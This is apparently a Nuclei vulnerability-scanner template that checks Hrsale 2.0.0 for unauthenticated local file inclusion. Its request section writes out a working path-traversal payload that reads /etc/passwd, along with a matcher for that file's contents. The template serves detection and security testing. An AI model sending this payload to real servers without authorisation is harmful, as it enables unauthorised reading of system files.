漏洞描述
Hrsale 2.0.0 is vulnerable to local file inclusion. This exploit allow you to download any readable file from server without permission and login session
id: hrsale-unauthenticated-lfi
info:
name: Hrsale 2.0.0 - Local File Inclusion
author: 0x_Akoko
severity: high
description: Hrsale 2.0.0 is vulnerable to local file inclusion. This exploit allow you to download any readable file from server without permission and login session
reference:
- https://www.exploit-db.com/exploits/48920
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 1
tags: hrsale,lfi,edb,vuln
http:
- method: GET
path:
- "{{BaseURL}}/download?type=files&filename=../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# digest: 4a0a00473045022100cdf75ae490982a4c99383d2a2b2907ba5110356a5ca39b120b2b1c596b4667ea02204291a0b83edfb9df67d90e142034fba2d89bf644849ee6224e3fdc23895f65b1:922c64590222798bb761d5b6d8e72950